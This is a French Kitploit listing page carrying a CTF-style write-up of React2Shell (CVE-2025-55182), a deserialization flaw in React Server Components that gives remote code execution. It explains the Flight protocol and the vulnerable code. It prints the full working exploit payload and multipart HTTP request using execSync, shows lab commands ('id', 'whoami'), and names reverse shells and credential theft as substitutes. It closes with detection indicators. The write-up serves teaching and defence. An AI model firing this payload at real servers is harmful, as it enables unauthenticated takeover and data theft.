Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182 : désérialisation non sécurisée non authentifiée dans les composants serveur React conduisant à une exécution de code à distance fiable via le protocole Flight. | Kitploit
Outils/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebCTFTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182 : désérialisation non sécurisée non authentifiée dans les composants serveur React conduisant à une exécution de code à distance fiable via le protocole Flight.

Voir le dépôt
7126il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🎯 React2Shell (CVE-2025-55182) : Des composants serveur React au RCE complet

Difficulté : Intermédiaire → Avancé
Catégorie : Exploitation Web | Désérialisation | RCE

Cover


🧩 Tâche 1 : Introduction — Pourquoi React2Shell est un gros problème

CVE-2025-55182, surnommée React2Shell, est l'une de ces vulnérabilités qui rend instantanément les défenseurs nerveux 😬. Découverte en décembre 2025, elle porte un score CVSS de 10.0, ce qui vous indique déjà qu'il ne s'agit pas d'un bogue anodin.

Fondamentalement, cette vulnérabilité affecte les composants serveur React (RSC) et les frameworks construits dessus — surtout Next.js. Ce qui fait peur ?

👉 Exécution de code à distance (RCE) non authentifiée 👉 Une seule requête HTTP fabriquée 👉 Les configurations par défaut sont vulnérables

Pas de connexion. Pas de permissions spéciales. Juste une requête bien formulée.

🔥 Paquets React concernés

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ Versions corrigées

  • 19.0.1
  • 19.1.2
  • 19.2.1

Cette salle vous explique pourquoi ce bogue existe, comment il est exploité et ce que les défenseurs peuvent y faire.

Drapeau : Aucune réponse nécessaire.


🧠 Tâche 2 : Composants serveur React et le protocole Flight

Avant l'exploitation, nous avons besoin de clarté architecturale.

Que sont les composants serveur React ?

Les composants serveur React (introduits dans React 19) permettent à des parties d'une application React de s'exécuter sur le serveur, pas dans le navigateur. Cela signifie :

  • Les calculs lourds restent côté serveur ⚙️
  • Le client ne reçoit que le rendu final 📦
  • Meilleure performance, bundles plus petits

Entrée en jeu : React Flight ✈️

La communication entre client et serveur se fait via le protocole React Flight. Ce protocole sérialise les données côté client et les désérialise côté serveur.

Il utilise des marqueurs spéciaux :

  • $@ → Référence de morceau

  • $B → Référence d'objet binaire (Blob)

  • Chemins de propriétés via la notation deux-points Exemple :

    $1:constructor:constructor
    

⚠️ Et c'est exactement là que cette logique de sérialisation pose problème.

Question : Quel symbole désigne une référence Blob ? ✅ Réponse : $B


💣 Tâche 3 : La vulnérabilité centrale — Désérialisation non sécurisée

Au cœur de CVE-2025-55182 se trouve un défaut classique de désérialisation non sécurisée.

Regardons le motif vulnérable (ne coupez pas 👇) :

function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... logique supplémentaire ...  
 return moduleExports[metadata[2]];  // LIGNE VULNÉRABLE  
}  

Pourquoi est-ce dangereux ?

En JavaScript, la notation par crochets :

obj[someKey]

ne limite pas l'accès aux propriétés exportées uniquement. Elle parcourt toute la chaîne de prototypes.

Voici maintenant l'observation critique 👀 :

  • Chaque fonction JavaScript a un .constructor
  • constructor pointe vers le constructeur Function
  • Function("code") = exécution JavaScript arbitraire

Armer les références Flight

Étant donné que le protocole Flight permet des chemins séparés par deux-points, un attaquant peut envoyer :

$1:constructor:constructor

Ce qui se résout en :

  1. Obtenir le morceau de module
  2. Accéder à .constructor
  3. Accéder à .constructor à nouveau → Function

À ce stade, la partie est terminée 🎮.

Drapeau : Aucune réponse nécessaire.


🧨 Tâche 4 : Chaîne d'exploitation — Du bogue au RCE

Maintenant, décomposons le PoC de maple3142, étape par étape.

🧩 Étape 1 : Faux objet Chunk

L'attaquant envoie une requête multipart contenant un objet Chunk factice :

{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Cet objet imite la structure interne Chunk de React. En pointant then vers Chunk.prototype.then, React est piégé pour attendre une logique contrôlée par l'attaquant.


🧩 Étape 2 : Abus du gestionnaire Blob

Le marqueur $B1337 déclenche le gestionnaire de désérialisation Blob, qui exécute en interne :

response._formData.get(response._prefix + id)

Mais nous avons empoisonné :

  • _formData.get → Function
  • _prefix → JavaScript malveillant

Résultat de l'exécution :

Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 Exécution JavaScript arbitraire obtenue.


🧩 Étape 3 : Exécution de commandes système

Le PoC exécute :

process.mainModule
  .require('child_process')
  .execSync('xcalc')

Cela peut être trivialement remplacé par :

  • Shells inversés
  • Exfiltration de secrets
  • Lectures de fichiers
  • Vol d'identifiants cloud ☠️

Drapeau : Aucune réponse nécessaire.


📦 Tâche 5 : Analyse complète du PoC HTTP

Voici la requête d'exploitation complète (textuelle, non rognée) :

POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(…le corps multipart continue…)

Points clés à noter 👇

  • L'en-tête Next-Action déclenche les Actions Serveur
  • multipart/form-data est obligatoire
  • $@0 crée une auto-référence
  • $B1337 déclenche la logique Blob
  • constructor:constructor mène à Function

Ce n'est pas accidentel — c'est une chaîne précisément conçue.


🌍 Écosystème affecté

  • React : 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js :

    • ≥14.3.0-canary.77
    • Tous les 15.x
    • Début du 16.x
  • Autres : React Router (RSC), Waku, Redwood SDK

📊 Recherche Wiz : 39 % des environnements cloud exposés 🌐 Shodan : 571 000+ serveurs React, 444 000+ Next.js

Ça fait… beaucoup 😶


🧪 Tâche 6 : Exploitation en laboratoire

D'abord dans Repeater, créez une nouvelle requête HTTP et sélectionnez la cible.

1

En utilisant Burp Suite Repeater, nous envoyons la charge utile :

execSync('id')

2

Et ensuite :

execSync('whoami')

3

✅ Résultats

  • Utilisateur : ubuntu

  • Drapeau :

    {React-19.2.0}
    

Exploitation propre, fiable et reproductible 💀


🛡️ Tâche 7 : Détection et défense

Bonne nouvelle pour les défenseurs 👮‍♂️ — l'exploitation laisse des traces.

🔎 Indicateurs d'attaque

  • En-tête Next-Action
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"
Télécharger l’outil